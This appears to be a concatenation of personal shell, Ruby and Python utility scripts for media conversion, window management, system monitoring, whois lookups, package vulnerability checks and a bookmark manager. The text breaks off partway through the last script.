rel[%r{^(\.Trash|\[featurettes\])}] }. sort_by { |rel, path| rel.downcase } end paths = paths.sample(10) + # Put some random movies at the top of the list [["-"*50,nil]] + # An ASCII separator paths # The rest of the movies path_lookup_table = paths.to_h progress_notification.terminate path = IO.popen(%w[rofi -dmenu -i -async-pre-read 0 -p Movie:], "r+") do |f| f.puts paths.map(&:first).join("\n") f.close_write picked = f.gets.strip path_lookup_table[picked] end exec("mpv", path.to_s)<file_sep>#!/bin/bash FONT=vga #xterm -ls -bg black -fg grey -sb -rightbar -si -sk -sl 700 -fn '-misc-fixed-medium-r-normal-*-*-130-*-*-c-*-iso8859-9' if [ "$*" == "" ] then CMD="" else CMD="-e \"$*\"" fi xterm -ls -bg black -fg grey -sb -rightbar -si -sk -sl 700 -fn "$FONT" $CMD <file_sep>#!/bin/bash setxkbmap -layout us<file_sep>#!/bin/bash while [ -n "$1" ]; do IN="$1" OUT="${IN%.*}.stream" echo "Converting: $IN" echo " to: $OUT" mplayer "$IN" -dumpaudio -dumpfile "$OUT" echo shift done <file_sep>#!/usr/bin/env ruby %w[\\ | / -].cycle.each { |c| print "\b#{c}"; sleep 1.0/20 } <file_sep>#!/usr/bin/env ruby require 'epitools' require 'slop' opts = Slop.new :help => true do banner "Usage: mem -f from -t to [files...]" on :v, :verbose, 'Enable verbose mode' on :n, :dryrun, 'Dry-run', false on :f, :from, 'From', :optional => false on :t, :to, 'To', :optional => false end ## Handle arguments args = [] opts.parse { |arg| args << arg } Result = Struct.new(:pid, :user, :command, :swap, :uss, :pss, :rss) def stats File.read("/proc/meminfo").nicelines.map do |line| if line =~ /(\w)+:\s+(\d+)( kB)?/ [$1, $2, $3] else nil end end.compact end #Area Used Cache Noncache #firmware/hardware 0 0 0 #kernel image 0 0 0 #kernel dynamic memory 3459736 3322948 136788 #userspace memory 2853816 254028 2599788 #free memory 1950300 1950300 0 #stats = `smem -w`.find(//).drop(1).map(&:split) command = args.shift case command when "help" else results = `sudo smem`.lines.drop(1).map {|l| fields = l.split; p fields; Result.new fields } p results results.each{|r| puts "#{r.pid} #{r.pss} #{r.command}" } pss_total = results.map(&:pss).map(&:to_i).sum puts "PSS Total: #{pss_total}" p stats end <file_sep>#!/bin/bash cd ~/archive/discs if [ "$1" == "" ]; then ls -lv elif [ "$1" == "-a" ]; then c *.txt else # ag --color -i "$*" | less -RSFX grep --color=always -i "$*" *.txt | less -RSFX fi<file_sep>#!/usr/bin/env ruby require 'epitools' require 'mechanize' class YouTubeVideo < Struct.new( :title, :thumbnails, :link, :description, :length, :user, :published, :updated, :rating, :raters, :keywords, :favorites, :views ) def initialize(rec) media = rec["media$group"] self.title = media["media$title"]["$t"] self.thumbnails = media["media$thumbnail"].map{|r| r["url"]} self.link = media["media$player"].first["url"].gsub('&feature=youtube_gdata_player','') self.description = media["media$description"]["$t"] self.length = media["yt$duration"]["seconds"].to_i self.user = rec["author"].first["name"]["$t"] self.published = DateTime.parse rec["published"]["$t"] self.updated = DateTime.parse rec["updated"]["$t"] self.rating = rec["gd$rating"]["average"] self.raters = rec["gd$rating"]["numRaters"] self.keywords = rec["media$group"]["media$keywords"]["$t"] self.favorites = rec["yt$statistics"]["favoriteCount"].to_i self.views = rec["yt$statistics"]["viewCount"].to_i end end agent = Mechanize.new do |a| a.user_agent_alias = "Windows IE 7" a.max_history = 0 a.verify_mode = OpenSSL::SSL::VERIFY_NONE end args = ARGV if args.empty? print "Enter youtube url: " args << gets.strip end for arg in args if arg =~ %r{https?://(www\.)?youtube\.com/watch\?} uri = URI.parse(arg) #views = at("span.watch-view-count").clean_text #date = at("#eow-date").clean_text #time = at("span.video-time").clean_text #title = at("#eow-title").clean_text video_id = uri.params["v"] page = agent.get("http://gdata.youtube.com/feeds/api/videos/#{video_id}?v=1&alt=json") json = page.body.from_json video = YouTubeVideo.new(json["entry"]) views = video.views.commatize date = video.published.strftime("%Y-%m-%d") time = video.length.to_hms title = video.title rating = video.rating ? "%0.1f" % video.rating : "?" puts "<14>#{title} <8>\n\t<3>url: <15>#{uri}\n\t<3>length: <11>#{time}\n\t<3>views: <11>#{views}\n\t<3>rating: <11>#{rating}<8>\n\t<3>posted: <11>#{date}".colorize #"< #{title} (length: #{time}, views: #{views}, posted: #{date}) >" else puts "Cannot recognize #{arg}" end end <file_sep>#!/usr/bin/env ruby args = ARGV cmd = %w[xfconf-query --channel=xfwm4 --property=/general/use_compositing] case args.first when "on" cmd << "--set=true" msg = "Compositor on!" when "off" cmd << "--set=false" msg = "Compositor off!" when "toggle" state = `#{cmd.join ' '}` case state when /true/ cmd << "--set=false" msg = "Compositor off!" when /false/ cmd << "--set=true" msg = "Compositor on!" end when nil puts "usage: xfwm-compositor [on/off/toggle]" exit 0 else puts "unknown argumantes" exit 1 end system("notify-send", msg) system(*cmd)<file_sep># more info: http://xmodulo.com/tcp-udp-socket-bash-shell.html cat < /dev/tcp/time.nist.gov/13 <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: insert [options] <infile> <outfile>" on "p=", "position", "Byte offset to write the data", default: 0 # on "b=", "blong", "desc", default: "" end inp, outp = ARGV ######################################################## unless inp and outp puts "Error: infile and outfile must be specified" puts opts exit 1 end [inp, outp].each do |f| unless File.exist? f puts "Error: #{f.inspect} does not exist" exit 1 end end open(inp, "rb") do |i| open(outp, File::RDWR) do |o| pos = opts[:position].to_i puts "* Reading #{inp}..." data = i.read puts "* Seeking to #{pos} in #{outp}..." o.seek(pos) puts "* Writing #{data.size} bytes from input to output..." o.write data end end <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: torcache <torrent hash>" exit 1 fi wget "http://torcache.net/torrent/$1.torrent" <file_sep>#!/usr/bin/env ruby # Ruby-style awk! $stdin.each_line do |line| eval ARGV.join(" ") end <file_sep>#!/bin/bash IFACE=lo iptables -t nat -A OUTPUT -o $IFACE -p tcp --dport $1 -j REDIRECT --to-port $2 <file_sep>#!/usr/bin/env ruby ARGV.each do |arg| fork do # This nonsense is needed to totally squelch the STDOUT of the launched process. the_pwd = Dir.pwd Process.daemon Dir.chdir(the_pwd) exec("xdg-open", arg) end end<file_sep>#!/usr/bin/env ruby require 'epitools' class Dev < Struct.new(:addr, :type, :name, :id) include Comparable def <=>(other) addr <=> other.addr end def to_s "#{addr} - #{name} (#{type})" end end unless File.read("/proc/cpuinfo")[/^flags.*\b(svm|vmx)\b/] puts "ERROR: Virtualization extensions not enabled." puts puts "Please turn on VT-d or AMD-whatever in your BIOS." exit 1 end devs = `lspci -nn`.each_line.map do |line| if line =~ /^(\S+) ([^:]+): ([^\[]+) \[([^\]]+)\]/ [$1, Dev.new($1, $2, $3, $4)] end end.compact.to_h groups = Path["/sys/kernel/iommu_groups/*"].map do |path| group = path.dirs.last.to_i addrs = (path/"devices").ls.map {|f| f.filename.split(":",2).last } [ group, addrs.map {|addr| devs[addr]}.sort ] end.to_h groups.sort.each do |g,devs| puts "=== Group #{g}: =========================" devs.each { |dev| puts dev } puts end <file_sep>#!/bin/bash if [ "$1" == "--help" ]; then echo "usage:" echo " $ cd some-git-repo" echo " $ git-backdate" echo echo "purpose:" echo " git-backdate sets the mtime of each file based on its most recent commit date" echo exit fi if [ ! "$1" == "" ]; then pushd "$1" fi for i in **/*; do ls -ld "$i" touch -d "`git log "$i" | head -n3 | tail -n1 | fields 3-6`" "$i" ls -ld "$i" echo done popd <file_sep>#!/bin/bash KEYSERVER=keyserver.ubuntu.com if [ "$#" == "0" ]; then echo "usage: apt-key-get [key-IDs...]" else while (( "$#" )); do echo "+ Getting key $1 from $KEYSERVER..." #gpg --keyserver subkeys.pgp.net --recv $1 && gpg --export --armor $1 | sudo apt-key add - sudoifnotroot apt-key adv --keyserver $KEYSERVER --recv-keys "$1" shift done fi <file_sep>#!/usr/bin/ruby # whitepsace-ruby # Copyright (C) 2003 by <NAME> # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Opcodes = [ [' ', :push, :signed], [' \n ', :dup], [' \n\t', :swap], [' \n\n', :discard], [' \t ', :copy, :signed], [' \t\n', :slide, :signed], ['\t ', :add], ['\t \t', :sub], ['\t \n', :mul], ['\t \t ', :div], ['\t \t\t', :mod], ['\t\t ', :store], ['\t\t\t', :retrieve], ['\n ', :label, :unsigned], ['\n \t', :call, :unsigned], ['\n \n', :jump, :unsigned], ['\n\t ', :jz, :unsigned], ['\n\t\t', :jn, :unsigned], ['\n\t\n', :ret], ['\n\n\n', :exit], ['\t\n ', :outchar], ['\t\n \t', :outnum], ['\t\n\t ', :readchar], ['\t\n\t\t', :readnum], ] def error(message) $stderr.puts "Error: #{message}" exit 1 end class Tokenizer attr_reader :tokens def initialize @tokens = [] @program = $<.read.tr("^ \t\n", "") while @program != "" do @tokens << tokenize end end private def tokenize for ws, opcode, arg in Opcodes if /\A#{ws}#{arg ? '([ \t]*)\n' : '()'}(.*)\z/m =~ @program @program = $2 case arg when :unsigned return [opcode, eval("0b#{$1.tr(" \t", "01")}")] when :signed value = eval("0b#{$1[1..-1].tr(" \t", "01")}") value *= -1 if ($1[0] == ?\t) return [opcode, value] else return [opcode] end end end error("Unknown command: #{@program.inspect}") end end class Executor def initialize(tokens) @tokens = tokens end def run @pc = 0 @stack = [] @heap = {} @callStack = [] loop do opcode, arg = @tokens[@pc] @pc += 1 case opcode when :push @stack.push arg when :label when :dup @stack.push @stack[-1] when :outnum print @stack.pop when :outchar print @stack.pop.chr("UTF-8") when :add binaryOp("+") when :sub binaryOp("-") when :mul binaryOp("*") when :div binaryOp("/") when :mod binaryOp("%") when :jz jump(arg) if @stack.pop == 0 when :jn jump(arg) if @stack.pop < 0 when :jump jump(arg) when :discard @stack.pop when :exit exit when :store value = @stack.pop address = @stack.pop @heap[address] = value when :call @callStack.push(@pc) jump(arg) when :retrieve @stack.push @heap[@stack.pop] when :ret @pc = @callStack.pop when :readchar @heap[@stack.pop] = $stdin.getc.each_codepoint.next when :readnum @heap[@stack.pop] = $stdin.gets.to_i when :swap @stack[-1], @stack[-2] = @stack[-2], @stack[-1] when :copy @stack.push @stack[-arg-1] when :slide @stack.slice!(-arg-1, arg) else error("Unknown opcode: #{opcode.inspect}") end end end private def binaryOp(op) b = @stack.pop a = @stack.pop @stack.push eval("a #{op} b") end def jump(label) @tokens.each_with_index do |token, i| if token == [:label, label] @pc = i return end end error("Unknown label: #{label}") end end Executor.new(Tokenizer.new.tokens).run <file_sep>#!/bin/bash LD_DEBUG=libs ~/.local/share/Steam/ubuntu12_32/steam<file_sep>#!/usr/bin/env python import sys, requests URL_URBANDICTIONARY = "http://api.urbandictionary.com/v0/define" HELP = """ purpose: Get the definition of a provided term from Urban Dictionary usage: ud <query> [<result number>] """ def err(*args): print(*args, file=sys.stderr) def print_definition(definition): print( "%s: %s" % ( definition["word"], definition["definition"]. replace("\n", " "). replace("\r", ""). replace(" ", " ") ) ) print() def ud(args): number = 0 term = args if (args[-1].isdigit()): number = int(args[-1]) term = term[:-1] term = " ".join(term) page = requests.get(URL_URBANDICTIONARY, params={"term": term}).json() if page: results = page["list"] err(f"* Found {len(results)} results...") err() if len(results): if number > 0: if len(results) > number-1: definition = results[number-1] print_definition(definition) else: err("Definition number does not exist") else: for definition in results: print_definition(definition) else: err("No results found") else: raise "couldn't get the JSON from urbandictionary for some reason" if __name__ == "__main__": args = sys.argv[1:] if len(args) > 0: ud(args) else: print(HELP) <file_sep>#!/usr/bin/env ruby ############################################################################ require 'epitools' require 'open-uri' ############################################################################ class Time def elapsed Time.now - self end end ############################################################################ class Package < Struct.new(:name, :version_str) def version parse_version(version_str) end def to_s "<15>#{name} <13>#{version_str}".colorize end end ############################################################################ class Vuln def initialize(json) @json = json end def affected parse_version @json["affected"] end def fixed parse_version @json["fixed"] end def names @json["packages"] end def covers?(package) if (affected.nil? and fixed.nil?) or package.version.nil? true else (package.version >= affected) and (fixed ? package.version < fixed : true) end end def type @json["type"] end def severity @json["severity"] end def codes @json["issues"].join(", ") end def status case s = @json["status"] when "Vulnerable" "<12>#{s}" when "Fixed", "Not affected" "<10>#{s}" else "<14>#{s}" end end def url "https://security.archlinux.org/#{@json["name"]}" end def to_s "<11>#{@json["affected"]}<8>...<11>#{@json["fixed"]} <8>(<10>#{status}<8>) <3>=> <14>#{severity}<7>: <9>#{type} <8>(<7>#{codes}<8>)".colorize end end ############################################################################ def parse_version(str) str && SemanticVersion.new(str) end ############################################################################ # initialize the cache cache_dir = Path["~/.cache/upm/"] cache_dir.mkdir_p unless cache_dir.exists? # download the json json = cache_dir/"pacman-vulns.json" if !json.exists? or (json.mtime.elapsed > 20.minutes) open("https://security.archlinux.org/issues/all.json") do |io| json.write io.read end end # parse the json vulns = Hash.of_arrays json.parse.each do |json| vuln = Vuln.new(json) vuln.names.each do |name| vulns[name] << vuln end end # parse the installed pacakges installed_packages = `pacman -Q`.each_line.map do |line| Package.new(*line.strip.split) end # find vulnerable packages vulnerable_packages = Hash.of_arrays installed_packages.each do |package| vulns[package.name].each do |vuln| if vuln.covers?(package) vulnerable_packages[package] << vuln end end end # print vulnerable packages vulnerable_packages.each do |package, vulns| puts package vulns.each do |vuln| puts " #{vuln}" puts " #{vuln.url}".green end puts end<file_sep>#!/usr/bin/env ruby require 'epitools' DISCS_DIR = Path["~/archive/discs"] class Mount attr_accessor :dev, :type, :options def initialize(line) @path, @dev, @type, @options = line.strip.split(' ') @options = @options.split(",") end def system? (path =~ %r{^/(sys|dev|proc|run/user|tmp)}) or dev == "systemd-1" end def inspect "#{type}: #{path} (#{dev})" end def to_s "#{path} (#{dev})" end def path # Unescape findmnt's hex codes Path.new "#{eval %{"#{@path}"}}/" end def dirname path.dirs.last end end mounts = IO.popen(["findmnt", "--raw"]) { |io| io.drop(1).map { |line| Mount.new line } } discs = mounts.select { |m| m.type.in? %w[udf iso9660] } discs.each do |m| filename = "#{ARGV.first || m.dirname}.txt" if prompt("* Import #{m.inspect} as #{filename.inspect}?") == "y" outfile = DISCS_DIR / filename puts " |_ writing to #{outfile}" if outfile.exists? if prompt(" |_ #{outfile} already exists.. Overwrite?", "Yn") == "y" puts " |_ Overwriting!" else puts " |_ Skipt" exit 1 end end puts outfile.open("w") do |io| files = m.path.ls_R.sort_by {|f| f.path.downcase } widest = files.max_by { |f| f.symlink? ? 0 : f.size }.size.to_s.size files.each do |f| name = f.relative_to(m.path) if f.symlink? target = f.target.relative_to(m.path) s = "#{f.mtime} | #{"symlink".rjust(widest)} | #{name} -> #{target}" else s = "#{f.mtime} | #{f.size.to_s.rjust(widest)} | #{name}" end io.puts s puts s end end puts if prompt("Eject?") == "y" fork { system("eject", m.path) } end end end <file_sep>#!/usr/bin/env ruby # # Use cases: # * SublimeText context-sensitive launcher # * dmenu window picker (list of "#{number} :: Windowname" => type number, go to window!) # |_ also, "fetch" window # * winfetch: dmenu of windows on other desktops (wmctrl -F -R windowname) # gem 'epitools', ">= 0.5.6"; require 'epitools' #gem 'slop', "< 3.0"; require 'slop' gem 'slop'; require 'slop' require 'pry' def show_desktop(desktop, quiet, query=nil) ## Header a,b = desktop.current? ? [11,15] : [8,7] puts "<#{a}>=== <#{b}>#{desktop.name} <#{a}>======================".colorize unless quiet ## Windows query_success = query ? false : true windows = desktop.windows windows += WM.sticky if desktop.current? windows.each do |window| sticky = window.sticky? ? "<12>* " : "" title = "#{sticky}<8>(<2>#{window.process && window.process.name}<8>) <10>#{window.title}" if query next unless title =~ query title = title.highlight(query) { |m| "<black_on_yellow>#{m}</black_on_yellow>" } query_success = true end puts title.colorize unless quiet end puts unless quiet ## Did query succeed? query_success end if $0 == __FILE__ opts = Slop.new(:help => true) do banner "Usage: winls [options] <regexp query to run again window titles and process names>" on :c, :current,'Current desktop only' on :q, :quiet, 'No console output (exit code gives success of query)' on :y, :yank, 'Move the window to current desktop.' on :p, :process, 'Match the process name' on :t, :title, 'Match the title' on :a, :activate, 'Activate the window' end exit if opts[:help] # get arguments args = [] opts.parse { |arg| args << arg } # parse the arguments query = args.any? ? Regexp.new(args.join(' '), Regexp::IGNORECASE) : nil quiet = opts[:quiet] query_success = if opts[:current] show_desktop WM.current_desktop, quiet, query else WM.desktops.each { |desktop| show_desktop desktop, quiet, query } end if opts.activate? window.actiate! end exit 1 if query and not query_success # ERRORN end <file_sep>#!/usr/bin/env ruby ####################################################################################################### require 'epitools' require 'terminal-table' ####################################################################################################### class String def ip? match(/^(\d{1,3}\.){3}\d{1,3}$/) end end ####################################################################################################### def header(title) "<8>=== <9>#{title} <8>=====================".colorize end ####################################################################################################### def run_chunks(cmd, strip_junk: true, strip_comments: true) begin lines = IO.popen(cmd, &:readlines) chunks = lines.chunk do |line| blank = line.blank? comments = strip_comments && line.match?(/^\#/) junk = strip_junk && (!!line["The Registry database contains ONLY .COM, .NET, .EDU domains"] or line == "Registrars.\n") blank || comments || junk end chunks.reject(&:first).map(&:last) rescue => e puts e puts e.backtrace end end ####################################################################################################### def run(cmd, *opts) out = [] out << header(cmd.join(" ")) out << "" run_chunks(cmd, *opts).each do |lines| lines.each do |line| out << line.chomp.gsub(/(.+): /, "<15>\\1: <7>").colorize end out << "" end out end ####################################################################################################### def whois(thing, whois_server: nil, strip_junk: true) out = [] out << header("whois #{thing}") out << "" cmd = ["whois"] cmd += ["-h", whois_server] if whois_server cmd << thing chunks = run_chunks(cmd, strip_junk: strip_junk) return out if chunks.nil? ## simple merged output (one table per chunk, but combine fields) chunks.each do |lines| attrs = Hash.of_arrays lines.map do |line| key, val = line.strip.split(/:\s+/, 2) attrs[key] << val unless val.nil? end if attrs.has_key? "Domain Status" attrs["Domain Status"].map! { |status| status.split.first } end attrs.delete_if do |k,vs| k[/(problem reporting system$|complaint form$|terms of use$|^notice$)/i] or vs.any? { |v| v["allow, enable, or otherwise support"] } end rows = attrs.map do |k,vs| vs = vs.uniq(&:downcase) [k.bright_cyan, vs.join("\n")] end out << Terminal::Table.new(rows: rows) if rows.any? end out end ####################################################################################################### def arin(thing) whois(thing, whois_server: "whois.arin.net") end ####################################################################################################### def geoip(thing) if which("geoiplookup") run(["geoiplookup", thing]) else run(["geoip-ruby", thing]) end rescue Exception => e "Error: #{e.inspect}" end ####################################################################################################### def host(thing) run(["host", thing]) end ####################################################################################################### def dog(thing) out = [] out << header("dog #{thing}") out << "" cmd = %w[dog --color=always] cmd << thing cmd += %w[A AAAA TXT SOA CNAME MX NS] lines = IO.popen(cmd, &:readlines) unique_lines = lines.map(&:chomp).uniq_by do |line| fields = line.split fields[0..1] + fields[3..-1] end out += unique_lines end ####################################################################################################### lesspipe do |less| ARGV.each do |arg| jobs = JobRunner.new if arg =~ %r{^https?://([^/]+)} arg = $1 end arg = arg.gsub(/:\d+$/, '') # delete port from hostname less.puts "<8>### <14>#{arg} <8>#################".colorize less.puts jobs.add { geoip(arg) } if arg.ip? jobs.add { host(arg) } jobs.add { arin(arg) } else jobs.add { whois(arg) } if which("dog") jobs.add { dog(arg) } else jobs.add do ip = host(arg) if arg.split(".").size > 2 if ip.any? { |a| a =~ /has address (.+)\e/ } jobs.add { whois($1) } end end ip end end end jobs.each_result do |result| less.puts result.join("\n") less.puts end end end <file_sep>#!/bin/bash sudo apt-get -f install <file_sep>#!/usr/bin/env ruby require 'epitools' first_line = true Connection = Struct.new(:command, :pid, :user, :proto, :src, :dest, :state) conns = run("lsof", "-i").each_line.drop(1).map do |line| command, pid, user, fd, type, device, size, proto, addrs, state = line.strip.split(/\s+/) src, dest = addrs.split("->") if state and state =~ /^\((.+)\)$/ state = $1 end Connection.new(command, pid, user, proto, src, dest, state) end COLORMAP = { "TCP" => 1, "UDP" => 2, } conns.group_by(&:command).each do |command, conns| puts "<8>== <12>#{command} <8>=====".colorize conns.each do |c| protocolor = (COLORMAP[c.proto] || 7) puts " <8>[<#{protocolor}>#{c.proto.downcase}<8>] <9>#{c.src}#{" <3>-> <11>#{c.dest}" if c.dest}#{" <8>(<7>#{c.state.titlecase}<8>)" if c.state} ".colorize end puts end <file_sep>#!/bin/bash sudoifnotroot sysdig -c spy_users <file_sep>#!/usr/bin/ruby DEFAULT_CHUNK_SIZE = 4*60 def secs2time(secs) hours, secs = secs.divmod(3600) mins, secs = secs.divmod(60) "%0.2d:%0.2d:%0.2d" % [hours,mins,secs] end def times(interval, total_secs) fudge = 0 count = (total_secs / interval) + fudge ts = (1..count).map do |x| secs = x * interval secs2time(secs) end end def time2secs(time) p time if time =~ /0*(\d+):?(\d\d):(\d\d).(\d\d)/ h,m,s,ss = [$1, $2, $3, $4].map{|x| x.to_i} elsif time =~ /(\d\d):(\d\d).(\d\d)/ h,m,s,ss = [0, $1, $2, $3].map{|x| x.to_i} else return nil end result = (h*3600) + (m*60) + s + (ss > 0 ? 1 : 0) return result end def length(filename) result = `mpgtx -i "#{filename}" 2>&1` if result =~ /Estimated Duration: (.+)/ return time2secs($1) else puts "* Couldn't get time from mpgtx. Output:" puts result exit 1 end end def help puts DATA.read #"usage: mp3chunks filename [chunk size in seconds]" exit 1 end def binary_in_path?(binary_name) ENV['PATH'].split(":").any? { |p| File.executable?(File.join(p, binary_name)) } end if $0 == __FILE__ unless binary_in_path? 'mpgtx' puts "*** ERROR! mpgtx not found in path. (apt-get install mpgtx) ***" puts help end filename = (ARGV[0] && File.exists?(ARGV[0]) && ARGV[0]) || help interval = ARGV[1] || DEFAULT_CHUNK_SIZE puts "* Filename: #{filename}" puts "* Chunk size: #{secs2time(interval)}" #h,m,s,ss = length(filename) #total_secs = (h*3600) + (m*60) + s + (ss > 0 ? 1 : 0) total_secs = length(filename) puts "* Length: #{secs2time total_secs}" timearray = times(interval, total_secs) timestring = "{#{timearray.join '-'}}" puts "* Boundaries:" puts " |_ #{timearray.join(', ')}" puts puts "- Splitting... ------------------------------------------------------------" cmd = ["mpgtx", "-s", "-b", "mp3chunk", filename, timestring] p cmd system(*cmd) basename = File.basename(filename, ".mp3") outdir = "#{basename}-chunked" puts puts "---------------------------------------------------------------------------" puts puts "* Output dir: #{outdir}/" Dir.mkdir(outdir) rescue Errno::EEXIST # don't abort if dir exists already chunks = Dir["mp3chunk*.mp3"] puts "* Moving files..." for name in chunks if name =~ /mp3chunk-(\d+)\.mp3/ newname = "#{$1}. #{filename}" puts " |_ #{name} -> #{File.join outdir, newname}" File.rename( name, File.join(outdir, newname) ) end end end __END__ MP3Chunk v0.11 by <NAME> (<EMAIL>) Purpose: Split MP3 files into chunks. (NOTE: "mpgtx" must be installed) Usage: mp3chunk <filename> [chunk size in seconds (defaults to 4 minutes)] Examples: mp3chunk hugefile.mp3 mp3chunk hugefile.mp3 120 <file_sep>#!/bin/bash if [ "$*" == "" ]; then echo "usage: mp3-remove-ratings <mp3 files...>" exit 1 fi id3 -2 --remove=POPM "$@" <file_sep>#!/bin/bash sudoifnotroot sysdig -p "%12user.name %6proc.pid %12proc.name %3fd.num %fd.typechar %fd.name" evt.type=open <file_sep>#!/bin/bash ASF="$1" MP3="$2" if [ "$3" == "" ] then PRESET="standard" else PRESET="$3" fi if [ -f "$ASF" ] then mplayer "$ASF" -ao pcm:file="$MP3".wav lame --preset $PRESET "$MP3.wav" "$MP3" rm "$MP3.wav" fi <file_sep>#!/bin/bash echo "* Converting $1 from 25fps to 24fps..." echo mencoder "$1" -o "$1.tmp" -speed 0.96 -oac mp3lame -lameopts cbr:br=128 -af resample=44100 -ovc copy mv "$1" "$1.bad" mv "$1.tmp" "$1" <file_sep># TODOs ## Install/Config tool - prompt for which rc files to install - select editor - install dependencies - vendored rubygems/python packages would be nice too ## Dependency Installer Check for missing dependencies, and prompt the user to install them before the script starts. eg: ``` require "#{__dir__}/deps.rb" dependencies do gem 'nokogiri' gem :http, :epitools bin 'ffmpeg' bin :getfattr, :setfattr py :tvnamer pkg 'net-tools' end ``` (Could use `upm` for installing distro packages... or nixos?) ## General Solution for Embedded Repos - shallow - automatic (git hooks?) - optional (curses radio buttons) ## Support Library - Config file loader - Ruby pipes - Ruby parallel processes - Pager - Colors - Terminal UI - fzf - progress bars - radio buttons <file_sep>#!/usr/bin/env ruby require 'epitools' # TODOS: # - stash # - tree-multiselect for which windows/tabs to <do something> with (eg: stash, close, annotate, sync, move) # - SUBLIME_DIR = "~/.config/sublime-text-3" def header(msg, char, color, target_width) target_width ||= Term.width - 4 msg = msg.to_s s_width = msg.size + 8 padding = char * [target_width - s_width, 0].max s = "<8>#{char * 3} <#{color}>#{msg} <8>#{char * 3}" puts (s + padding).colorize end def h1(msg, w=nil) header(msg, "=", 14, w) end def h2(msg, w=nil) header(msg, "-", 11, w) end Path["#{SUBLIME_DIR}/Local/*.sublime_session"].each do |path| h1 path puts json = path.read_json json["windows"].each_with_index do |window,n| h2 "window #{n}" window["buffers"].each do |buffer| is_file = buffer["file"] name = buffer.dig("file") || buffer.dig("settings", "name").inspect size = buffer.dig("file_size") || buffer.dig("settings", "buffer_size") mtime = Time.at(buffer.dig("file_write_time") / 10**8) rescue nil contents = buffer["contents"] puts( ( "<#{is_file ? 9 : 7}>#{name}" + # colorize files differently from text (size ? " <8>(<7>#{size.commatize} <8>bytes)" : "") + (mtime ? " <8>[<7>#{mtime.strftime("%Y-%m-%d")}<8>]" : "") ).colorize ) end puts end end<file_sep>#!/bin/bash PLATFORM=`uname` if [ "$PLATFORM" == "Darwin" ] then ps ax | grep -v "psfind" | grep -v "grep --color -si" | grep --color -si "$*" else ps afx -eo '%p %u %t %a' | grep -v "psfind" | grep -v "grep --color -si" | grep --color -si "$*" fi exit $? <file_sep>#!/usr/bin/env ruby require 'epitools' if ARGV.any? puts ARGV.join(" ").urlencode else STDIN.each do |line| puts line.urlencode end end <file_sep>#!/usr/bin/env python2 # # Jotmuch bookmark manager (https://github.com/davidlazar/jotmuch) # Copyright (C) 2014 <NAME> # # A bookmark manager that emphasizes privacy, preservation, and organization. # It will be familiar to users of notmuch (http://notmuchmail.org/). # ### Installation ##################################### # # Install the prerequisites. Arch Linux: # # $ sudo pacman -S python2-pip python2-xapian python2-jinja python2-lxml python2-yaml webkitgtk # # Debian/Ubuntu: # # $ sudo apt-get install python-pip python-xapian python-jinja2 python-lxml python-yaml libwebkit2gtk-3.0-dev # # Install required Python libraries that are not available as packages: # # $ pip2 install --user arrow click envoy # # Install Jotmuch and urlsnap: # # $ gcc urlsnap.c $(pkg-config --cflags --libs webkit2gtk-3.0) -o urlsnap # $ cp jot urlsnap ~/bin # # ###################################################### ### TODOs: ########################################### # # * store return status of "archive_url" in the database # * colourize / highlight results # * urlsnap patch: error on 404's # * show progress when archiving # * parallel url grabbing (pool of spawners) # * package it all up into one of those magical python zip binaries # * download from web.archive.org (at date of bookmark) if the url is broken # * import instapaper # * let archive resume where it left off # ###################################################### from collections import OrderedDict import base64 import email import hashlib import hmac import os import random import tempfile import subprocess import sys from urlparse import urlparse import arrow import click import envoy import jinja2 from lxml import html import xapian import yaml DATABASE_DIR = os.path.expanduser('~/.jotmuch') ARCHIVE_DIR = os.path.expanduser('~/.jotmuch/archives') PNGVIEW = 'feh' HMAC_KEY = 'Jotmuch' EDITOR = os.environ.get('EDITOR', 'vim') # http://xapian.org/docs/omega/termprefixes.html boolean_prefix = { 'id': 'Q', 'tag': 'K', 'site': 'H', } probabilistic_prefix = { 'title': 'S', 'author': 'A', 'notes': 'XNOTES:', } # exclusive boolean prefixes are combined with OR: # id:A id:B tag:X tag:Y == (id:A OR id:B) (tag:X AND tag:Y) exclusive_prefixes = ['id', 'site'] P = boolean_prefix.copy() P.update(probabilistic_prefix) indexer = xapian.TermGenerator() stemmer = xapian.Stem("english") indexer.set_stemmer(stemmer) VALUE_URL, VALUE_TITLE, VALUE_TAGS, VALUE_CREATED, VALUE_ARCHIVED = range(5) ### Document creation -------------------------------------------------- def dict2doc(y): doc = xapian.Document() indexer.set_document(doc) url = y['url'] uid = urlid(url) sid = uid[:8] doc.add_boolean_term(P['id'] + uid) # add the id and short id as unprefixed/stemmed terms to # make it easier to select bookmarks from search results for idterm in [uid, sid, 'Z' + uid, 'Z' + sid]: doc.add_boolean_term(idterm) doc.add_value(VALUE_URL, url) # add hostname parts as site terms hostname = urlparse(url).hostname if hostname: hs = hostname.split('.') for i in xrange(len(hs)): doc.add_boolean_term(P['site'] + '.'.join(hs[i:])) archive_path = get_archive_path(uid) if archive_path: y['tags'].append('archived') # remove duplicate tags, preserving order y['tags'] = list(OrderedDict.fromkeys(y['tags'])) alltags = u'\x1f'.join(y['tags']) doc.add_value(VALUE_TAGS, alltags) for tag in y['tags']: doc.add_boolean_term(P['tag'] + tag) if 'title' in y: doc.add_value(VALUE_TITLE, y['title']) index_text(y['title'], 'title') if 'notes' in y: doc.set_data(y['notes']) index_text(y['notes'], 'notes') created = y.get('created', arrow.utcnow()).timestamp doc.add_value(VALUE_CREATED, xapian.sortable_serialise(created)) if archive_path: archived = y.get('archived', arrow.utcnow()).timestamp doc.add_value(VALUE_ARCHIVED, xapian.sortable_serialise(archived)) index_archive(doc, archive_path) return doc def doc2dict(doc): od = OrderedDict() url = doc.get_value(VALUE_URL) od['url'] = url title = doc.get_value(VALUE_TITLE) if title: od['title'] = title.decode('UTF-8') tags = doc.get_value(VALUE_TAGS) od['tags'] = 